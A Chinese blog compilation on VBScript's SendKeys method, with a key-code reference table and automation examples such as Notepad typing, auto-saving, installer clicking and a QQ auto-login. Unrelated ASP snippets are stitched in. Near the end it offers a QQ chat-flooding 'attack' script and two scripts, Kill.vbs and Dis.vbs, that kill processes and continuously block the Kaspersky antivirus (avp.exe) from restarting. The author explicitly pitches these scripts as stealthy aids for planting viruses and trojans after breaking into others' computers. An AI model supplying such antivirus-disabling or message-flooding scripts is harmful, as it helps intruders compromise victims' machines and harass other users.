1. 程式人生 > >VBS自動按鍵大全,vbs基本和特殊按鍵

VBS自動按鍵大全,vbs基本和特殊按鍵

CreateObject("Wscript.Shell") 
SendKeys [String]

指令碼實現自動按鍵盤的某個鍵 過程是:
按下F5
間隔50毫秒
鬆開F5
間隔3000毫秒
按下F5
間隔50毫秒
鬆開F5
回到第一步

批處理是不行的  用VBS 很簡單  例子如下
Set objShell = CreateObject("Wscript.Shell") 
do
WScript.Sleep 3000
objShell.SendKeys "{F5}"               
WScript.Sleep 3000
objShell.SendKeys "{F5}"  
loop    

      使用 SendKeys 方法可以將鍵擊發送到無自動化介面的應用程式中。多數鍵盤字元都可用一個鍵擊表示。某些鍵盤字元由多個鍵擊組合而成(例如,CTRL+SHIFT+HOME)。要傳送單個鍵盤字元,請將字元本身作為 string 引數傳送。例如,要傳送字母 x,則請傳送 string 引數 "x"。


      可使用 SendKeys 同時傳送多個鍵擊。為此,可將每個鍵擊按順序排列在一起,以此來建立表示一系列鍵擊的複合字符串引數。例如,要傳送鍵擊 a、b 和 c,則需要傳送字串引數 "abc" 。SendKeys 方法將某些字元用作字元的修飾符(而不使用其本身的含義)。這組特殊的字元可包括圓括號、中括號、大括號,以及:     

      加號             "+"
      插入記號         "^"
      百分號           "%"
      和“非”符號     "~"

      用大括號 "{}" 括起這些字元可以傳送它們。例如,要傳送加號,請使用字串引數 "{+}"。SendKeys中使用的中括號 "[     ]" 無任何特殊含義,但是必須把它們括在大括號中,以便容納確實要賦予其特殊含義的應用程式(例如,對於動態資料交換 (DDE) 就是這樣)。     


      要傳送左中括號字元,請傳送字串引數 "{[}";要傳送右中括號字元,請傳送字串引數 "{]}"。     
      要傳送左大括號字元,請傳送字串引數 "{{}";要傳送右大括號字元,請傳送字串引數 "{}}"。

      某些鍵擊不生成字元(如 ENTER 和 TAB)。某些鍵擊表示操作(如 BACKSPACE 和 BREAK)。要傳送這些型別的鍵擊,請傳送下表中列出的引數:

      空格鍵           " "
      退格鍵           {BACKSPACE} 或 {BS} 或 {BKSP}     
      BREAK           {BREAK}     

      Delete         {Delete}     或     {DEL}     
      向下鍵           {DOWN}
      向上鍵           {UP} 
      向左鍵           {LEFT}
      向右鍵           {RIGHT}    
      END              {END}     
      ENTER           {ENTER}     或     ~     
      ESC              {ESC}
      TAB              {TAB}
      CAPS LOCK       {CAPSLOCK}               
      HELP             {HELP}     
      HOME            {HOME}     
      Insert          {Insert}     或     {INS}     
      NUM LOCK          {NUMLOCK}     
      PAGE DOWN       {PGDN}     
      PAGE UP            {PGUP}     
      PRINT SCREEN    {PRTSC}     
      SCROLL LOCK     {SCROLLLOCK}     

      F1       {F1}     
      F2       {F2}     
      F3       {F3}     
      F4       {F4}     
      F5       {F5}     
      F6       {F6}     
      F7       {F7}     
      F8       {F8}     
      F9       {F9}     
      F10     {F10}     
      F11     {F11}     
      F12     {F12}     

      要傳送由常規鍵擊和 SHIFT、CTRL 或 ALT 組合而成的鍵盤字元,請建立表示該鍵擊組合的複合字符串引數。可通過在常規鍵擊之前新增一個或多個以下特殊字元來完成上述操作:

      SHIFT     +     
      CTRL      ^     
      ALT       %     

      注意:這樣使用時,不用大括號括起這些特殊字元。   
      要指定在按下多個其他鍵時,按下 SHIFT、CTRL 和 ALT 的組合,請建立複合字符串引數,用括號括起其中的組合鍵。例如,要傳送的組合鍵指定:     

      如果在按 e 和 c 的同時按 SHIFT 鍵,則傳送字串引數     "+(ec)"。     
      如果在按 e 時只按 c(而不按 SHIFT),則傳送字串引數     "+ec"。     
      可使用     SendKeys     方法傳送一種在一行內重複按鍵的鍵擊。為此,要建立複合字符串引數,以指定要重複的鍵擊,並在其後指定重複次數。可使用 {鍵擊 數字} 形式的複合字符串引數來完成上述操作。例如,如果要傳送 10 次 "x",則需要傳送字串引數 "{x     10}"。請確保在鍵擊和數字之間有一個空格。   

      注意:只可以傳送重複按一個鍵的鍵擊。例如,可以傳送 10 次 "x",但不可傳送 10 次     "Ctrl+x"。   
      注意:不能嚮應用程式傳送     PRINT     SCREEN     鍵     {PRTSC}。

例子1:關機指令碼 (模擬按鍵為:Ctrl + Esc、u、u )

      把以下程式碼複製至記事本,另存為 off.vbs

set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "^{ESC}uu"

例子2:重啟指令碼 (模擬按鍵為:Ctrl + Esc、u、r )

      把以下程式碼複製至記事本,另存為 reboot.vbs

set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "^{ESC}ur"

例子3:切換輸入法 (模擬同時按下:Shift    Ctrl )

set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "+(^)"

例子4:輸入 cn-dos.net! 至記事本並儲存為 CnDos.txt

Dim WshShell 
Set WshShell=WScript.CreateObject("WScript.Shell") 
WshShell.Run "notepad" 
WScript.Sleep 1500 
WshShell.AppActivate "無標題 - 記事本" 
WshShell.SendKeys "c" 
WScript.Sleep 200 
WshShell.SendKeys "n" 
WScript.Sleep 200 
WshShell.SendKeys "-" 
WScript.Sleep 200 
WshShell.SendKeys "d" 
WScript.Sleep 200 
WshShell.SendKeys "o" 
WScript.Sleep 200 
WshShell.SendKeys "s" 
WScript.Sleep 200 
WshShell.SendKeys "." 
WScript.Sleep 200 
WshShell.SendKeys "n" 
WScript.Sleep 200 
WshShell.SendKeys "e" 
WScript.Sleep 200 
WshShell.SendKeys "t" 
WScript.Sleep 200 
WshShell.SendKeys "!" 
WScript.Sleep 200 
WshShell.SendKeys "%FS" 
WScript.Sleep 500 
WshShell.SendKeys "C" 
WScript.Sleep 200 
WshShell.SendKeys "n" 
WScript.Sleep 200 
WshShell.SendKeys "D" 
WScript.Sleep 200 
WshShell.SendKeys "o" 
WScript.Sleep 200 
WshShell.SendKeys "s" 
WScript.Sleep 200 
WshShell.SendKeys "%S" 
WScript.Sleep 500 
WshShell.SendKeys "%FX"

例子5:自動定時存檔的記事本(此指令碼來自網上)

'第一部分:定義變數和物件
Dim WshShell, AutoSaveTime, TXTFileName
AutoSaveTime=(1000*60*1)    '自動存檔時間為1分鐘
Set WshShell=WScript.CreateObject("WScript.Shell")
TXTFileName=InputBox("給文字起名(不能用中文和純數字):")

'第二部分:開啟並激活記事本
WshShell.Run "notepad"
WScript.Sleep 200
WshShell.AppActivate "無標題 - 記事本"

'第三部分:用輸入的檔名存檔
WshShell.SendKeys "^s"
WScript.Sleep 300
WshShell.SendKeys TXTFileName
WScript.Sleep 300
WshShell.SendKeys "%s"
WScript.Sleep AutoSaveTime

'第四部分:自動定時存檔
While WshShell.AppActivate (TXTFileName)=True
WshShell.SendKeys "^s"
WScript.Sleep AutoSaveTime
Wend
WScript.Quit

例子:

set objShell = CreateObject("Wscript.Shell") 
strCommandLine = "psetup755281.exe"        '啟動安裝程式
objShell.Run(strCommandLine)
set WshShell = CreateObject("WScript.Shell")
WScript.Sleep 2000        '延時3秒
WshShell.SendKeys "{ENTER}"        '模擬按下回車鍵執行下一步
WScript.Sleep 300        '延時3秒
WshShell.SendKeys "{ENTER}"        '模擬按下回車鍵執行下一步
WScript.Sleep 300        '延時3秒
WshShell.SendKeys "{ENTER}"        '模擬按下回車鍵執行下一步
WScript.Sleep 5200        '延時3秒
WshShell.SendKeys "{ENTER}"        '模擬按下回車鍵執行下一步
WScript.Sleep 300        '延時3秒
WshShell.SendKeys "{ENTER}"        '模擬按下回車鍵執行下一步
WScript.Sleep 300        '延時3秒
WshShell.SendKeys "{ENTER}"        '模擬按下回車鍵執行下一步
WScript.Sleep 200
WshShell.SendKeys " "        '模擬按下空格鍵去除安裝百度超級搜霸一行前的√號
WScript.Sleep 100
WshShell.SendKeys "{TAB}"        '模擬按下 Tab 鍵選擇安裝專案
WScript.Sleep 200
WshShell.SendKeys " "        '模擬按下空格鍵去除安裝百度超級搜霸一行前的√號
WScript.Sleep 200        '延時0.3秒
WshShell.SendKeys "f"        '模擬按下 F鍵同意協議
*************
另外方式:
<%  
dim  endtime  
endtime=timer()  
response.write  "頁面執行時間:"&FormatNumber(endtime*1000,3)&"毫秒"  
%>

對比下面是計算相差的日期
<% 
sdate="2008-1-10"
DiffADate=DateDiff("d",sdate,now) 
%>

***************************************************************
VBS中SendKeys方法將響應鍵盤的操作,併發送此值。這樣將實現許多有趣、適用、方便的功能!基本上只要鍵盤能完成的操作,SendKeys就能一併完成。你想到了什麼?嘿嘿!下面的程式碼是經過我一個晚上的整理與測試。其中QQ自動登入的不成功!不是程式碼不行,估計是最新版QQ的保護機制!

第一個例子、將下面這段程式碼儲存為ie.vbs,執行此vbs,將會開啟我的部落格。

set s = WScript.CreateObject("WScript.Shell") '建立WScript.Shell物件

app=s.Run ("iexplore") '開啟IE瀏覽器

WScript.Sleep 1000 '這表示停頓1000毫秒,即1秒,下面一樣……

s.AppActivate app

s.SendKeys "+{TAB}"

s.SendKeys "http://hi.baidu.com/ycosxhack"

s.SendKeys "{ENTER}"

這段程式碼響應了鍵盤三個動作:Shift+Tab聚焦於位址列、鍵入“http://hi.baidu.com/ycosxhack”、Enter回車。於是這樣就開啟我的部落格了^^

第二個例子、將下面程式碼儲存為qq.vbs,執行此vbs,將會自動輸入你的QQ帳號與密碼,然後登入。

set s = WScript.CreateObject("WScript.Shell")

app=s.Run ("D:\Progra~1\Tencent\QQ\QQ.exe") '你QQ的路徑!

'注意Program Files要寫成Progra~1,我一個晚上測試出來的答案- -!!

WScript.Sleep 1000

s.AppActivate app

s.SendKeys "+{TAB}"

WScript.Sleep 500

s.SendKeys "78669255"

s.SendKeys "{TAB}"

WScript.Sleep 500

s.SendKeys "123456"

WScript.Sleep 1000

s.SendKeys "{ENTER}"

這段程式碼響應了鍵盤五個動作:Shift+Tab、輸入QQ號78669255、Tab、輸入QQ密碼123456、Enter回車,測試時,將這些值換成你自己的。

能懂這兩個例子,其它不就可以舉一反三了嗎?記住只要鍵盤能完成的SendKeys基本都是可以完成的!那些黑客們經常用到的快捷鍵(基本不用滑鼠就可以完成任務!)都可以模擬出來,再舉個小例子,開啟“工作管理員”,Ctrl+Shift+Esc對吧?看下面程式碼:

set s = WScript.CreateObject("WScript.Shell")

s.SendKeys "^+{ESC}"

執行後,是不是開啟工作管理員啦?要關閉電腦?呼叫cmd?刪除檔案?格式硬碟?等等,通過SendKeys方法皆可輕易完成!這在某些方面也許會很有用,比如:黑客方面……

呃~~~上面的SendKeys方法是不是有點地方不明白?如:開啟“工作管理員”的例子,SendKeys "^+{ESC}"中^+{ESC}為什麼代表Ctrl+Shift+Esc?放心,最後我會給出MSDN的SendKeys方法的幫助文件,很簡單,自己一看就會恍然大悟的!^^

最後來個有點惡作劇的例子,就是網上有點流行的“QQ訊息瘋狂亂髮”,如何實現?看下面程式碼:

Set WshShell= WScript.CreateObject("WScript.Shell")

WshShell.AppActivate ""

for i=1 to 100 '迴圈傳送訊息100次!

WScript.Sleep 2000

WshShell.SendKeys "^v" '貼上剪下板裡的內容到QQ聊天面板上!

WshShell.SendKeys "%s" '傳送……

next

開啟某位好友或某個群的聊天面板,將此指令碼程式碼儲存為AttactQQ.vbs,執行後,將滑鼠聚焦與聊天面板上,此時“攻擊”就開始了……哈哈!別太瘋狂了!

估計你已經瞭解了VBS的SendKeys方法了吧?

兩個簡易VBS指令碼結束程序與防止程序啟動

Kill.vbs用來在cmd下結束程序,Dis.vbs用來在視窗模式下防止某程序再次啟動。這兩個VBS都不會被防毒軟體KILL掉,並且有一定的隱蔽性……看程式碼!('為註釋)

Kill.vbs:

for each ps in getobject _

("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI指令碼入侵技術,我不能解釋清楚!

if ps.handle=wscript.arguments(0) then  '判斷程序的PID號是否與獲得的PID號引數相等

wscript.echo ps.terminate '如果相等就結束指定PID號對應的程序

end if

next

Dis.vbs

dim y,x '不要這行也行……

do '來個死迴圈……一直在判斷!do ... loop內為迴圈體!

set y=getobject("winmgmts:\\.\root\cimv2") '和上面解釋一樣,這也是涉及到微軟的WMI技術!

set x=y.execquery("select * from win32_process where name='avp.exe'")

'查詢語句,where後判斷avp.exe(卡巴)是否存在程序中!

'這樣當卡巴被上面的Kill.vbs結束時就再也啟動不起來了。除非,把Dis.vbs結束了先……

for each i in x

i.terminate()  '卡巴要啟動馬上就終止……

next

wscript.sleep

loop

解釋夠清楚了,那就來看看這兩個vbs是如何工作的吧。我將Kill.vbs與Dis.vbs放在C盤根目錄下。

開啟cmd,輸入cd\回到C盤根目錄下,輸入tasklist檢視當前系統的程序情況,然後記下你想kill的程序的PID號,輸入cscript Kill.vbs 2200即可結束PID為2200的程序了!假如這個程序是avp.exe,那你就可以輸入Dis.vbs啟動Dis.vbs來防止卡巴繼續被啟動。Dis.vbs啟動時僅在工作管理員的程序中有wscript.exe程序項,要是不結束這個程序是無法再次啟動卡巴的。

懂得這些,為以後入侵他人電腦後上傳病毒、木馬之類的就更方便了一點點……上面的所有過程都經本人試驗成功了,繼續完善……

*******************************************************************************
 Dim WshShell

  Set WshShell=WScript.CreateObject("WScript.Shell")

  WshShell.Run "cmd"

  ' 讓指令碼等待1000毫秒,也就是1秒再執行下一條語句

  WScript.Sleep 1000

  ' -- 傳送字元時,輸入法一定要在英檔案狀態下

  ' 傳送分號

  WshShell.SendKeys ";"

  WScript.Sleep 1000

  ' 傳送冒號

  WshShell.SendKeys ":"

  WScript.Sleep 1000

  ' 傳送雙引號 -- 利用chr把雙引號轉換出來

  WshShell.SendKeys Chr(34)

  WScript.Sleep 1000

相關推薦

VBS自動按鍵大全vbs基本特殊按鍵

CreateObject("Wscript.Shell") SendKeys [String]指令碼實現自動按鍵盤的某個鍵 過程是:按下F5間隔50毫秒鬆開F5間隔3000毫秒按下F5間隔50毫秒鬆開F5回到第一步批處理是不行的  用VBS 很簡單  例子如下Set obj

Spring boot入門(三):SpringBoot整合結合AdminLTE(Freemarker)利用generate自動生成程式碼利用DataTablePageHelper進行分頁顯示

  關於SpringBoot和PageHelper,前篇部落格已經介紹過Spring boot入門(二):Spring boot整合MySql,Mybatis和PageHelper外掛,前篇部落格大致講述了SpringBoot如何整合Mybatis和Pagehelper,但是沒有做出實際的範例,本篇部落格是連

按鍵】短按長按按鍵釋放三種模式的按鍵掃描程式(軟體消抖動)--- 矩陣鍵盤

請先閱讀上篇: 短按,長按,按鍵釋放,三種模式的按鍵掃描程式(軟體消抖動) 上面的程式適用於單個按鍵,那是不是也可以適用於矩陣鍵盤呢? 答案是肯定的。 接下來在這裡做一個簡單的擴充套件,具體框架不用改變,所以具體的框架內容和思路在這裡不詳述了,自行參考上篇文章,這裡就說說擴充套件

按鍵】短按長按按鍵釋放三種模式的按鍵掃描程式(軟體消抖動)

先來說一下這三種模式的意思: 1. 短按模式:單擊按鍵時,返回一次有效按鍵值;長按時也只返回一次有效按鍵值。這樣可以有效地排除因不小心長按帶來的返回多次有效按鍵,進而執行多次按鍵處理程式。 2. 長按模式: 單擊按鍵時,返回一次有效按鍵;長按時,返回多次有效按鍵值。這樣可以很快的調節

嵌入式QT APP實現按下電源按鍵休眠再按一下電源按鍵即喚醒的功能---實現產品低功耗

1、修改裝置樹 button1 {                      label ="return";                      linux,code=<KEY_1>;                      gpios=<&am

VBS控制鼠標在Excel2010、201364位中

strong long 存在 找到 pen lar sheet class extra 原作者文章地址:http://demon.tw/programming/vbs-control-mouse.html 感謝原作者的攻略。才使我學會用VBS控制鼠標。 但是問題

awk的基本概念基礎用法高級用法

awk 基本概念 基礎用法 高級用法 awk:文本處理三劍客:grep系,sed,awkgrep系:grep,egrep,fgrep,基於PATTERN進行文本過濾;sed:流編輯器,逐行編輯器;模式空間,保持空間;awk:報告生成器;格式化文檔輸出; awk是下面三個人的姓氏縮寫:

vbs整人腳本別運行!!!

註意 打開 nbsp oca erro res col vbs In On Error Resume NextSet fso=CreateObject("Scripting.FileSystemObject")Set Cx=fso.GetSpecialFolder(0)f

數據庫數據插入空值非空判斷自動排序約束主鍵唯一約束外健約束

.com auto 設置 添加數據 name inf 表結構 alt incr 1.查看表結構 2.插入數據 3.空值和非空判斷 如上圖,添加數據默認為null,如果我們不想要為空,則 如圖,username設置為not null,則插入數據的時候如

CMC+混頻v103測試(scrtvbs文件)

play next root del vbs conf con onf nod Sub Main Dim cnte Dim cnt Dim delay Dim time Dim onetime onetime = 9999999 delay = 5000

java自動拆裝箱介面抽象類

1.Java支援的資料型別有哪些?什麼是自動拆裝箱? Java語言支援的8中基本資料型別是: byte short int long float double boolean char 自動裝箱是Java編譯器在基本資料型別和對應的物件包裝型別之間做的一個轉化。比如:把int轉化成Integ

Es學習第一課瞭解基本功能概念

    Elasticsearch作為這幾年最流行的搜尋引擎,越來越多的網際網路企業都在採用它;作為java開發者來說,如果想進一步提高自己能力,同時也為了能夠在實際工作中遇到搜尋、儲存問題多一個解決方案,學習ES絕對大家工作、學習乃至找工作都是一個極大的好處。下面我就結合自己學習ES的一

Ubuntu的基本用法:常用指令控制流程重定向

常用指令 接下來我將舉例闡述以下常用的基本指令: /!\ 記住要正確的按照下面寫的輸入,後面還得帶上回車鍵! 查詢檔案列表 [email protected]:~ $ ls file1.txt file2.pdf file3.mp3 file1.pdf another_fi

Android 點選空白處自動隱藏輸入法適用於activity與fragmentDialog

點選空白處自動隱藏輸入法這個需求很常見,最近也要用到,但是需要處理的頁面很零散的幾個。看到網上的有很多種方法,但是在fragment上會無效,後來發現一中思路,其實也很簡單,就是監聽需要處理介面的父佈局做處理就可以了。理論上無論是哪裡都適用。 <RelativeLayout xmlns

總結常用的Transformation運算元Action運算元基本用法

只有是Action時,才會執行立即操作。 Transformation是 lazy的操作,不會立即執行,執行Transformation的運算元時,會返回一個新的RDD,依賴上一個RDD transformation: 1、sortBy : 對於RDD的是非元組型,rdd1.soreB

Day05基本運算子if判斷while迴圈

day05 1.常量 變數名全大寫 2.基本運算子 ①算術運算 10/3除法 10//3取整 10*3乘法 10**3冪 ②賦值運算 增量賦值 age += 1#age = age + 1 age *= 2 age -= 1 ③交叉賦值 x = 10 y = 20 值互換的三種方法: 第一種 x,y

Spring Boot Cache + redis 設定有效時間自動重新整理快取時間支援在配置檔案中配置

分享一下我老師大神的人工智慧教程吧。零基礎,通俗易懂!風趣幽默!http://www.captainbed.net/ 也歡迎大家轉載本篇文章。分享知識,造福人民,實現我們中華民族偉大復興!        

根據字串的形式自動匯入模組並使用反射找到模組中的類並例項化物件利用importlibgetattr實現的

例如: auth資料夾下一個SCRF.py檔案,裡面有一個Cors類 class CORS(object): def process_request(self): print('666') auth資料

通俗理解BFSDFS基本模板

1.BFS(寬度優先搜尋):使用佇列來儲存未被檢測的節點,按照寬度優先的順序被訪問和進出佇列 打個比方:(1)類似於樹的按層次遍歷      (2)你的眼鏡掉在了地上,你趴在地上,你總是先摸離你最近的地方,如果沒有,再摸遠一點的地方…… 1 BFS演算法: 2 3 通常用佇列(先進先出,F

[C#原始碼]網路資料流讀寫封裝類支援多執行緒下同時讀自動資源管理字串分隔符\r\n

using System; using System.Collections; using System.Collections.Concurrent; using System.Collections.Generic; using System.IO; using Syst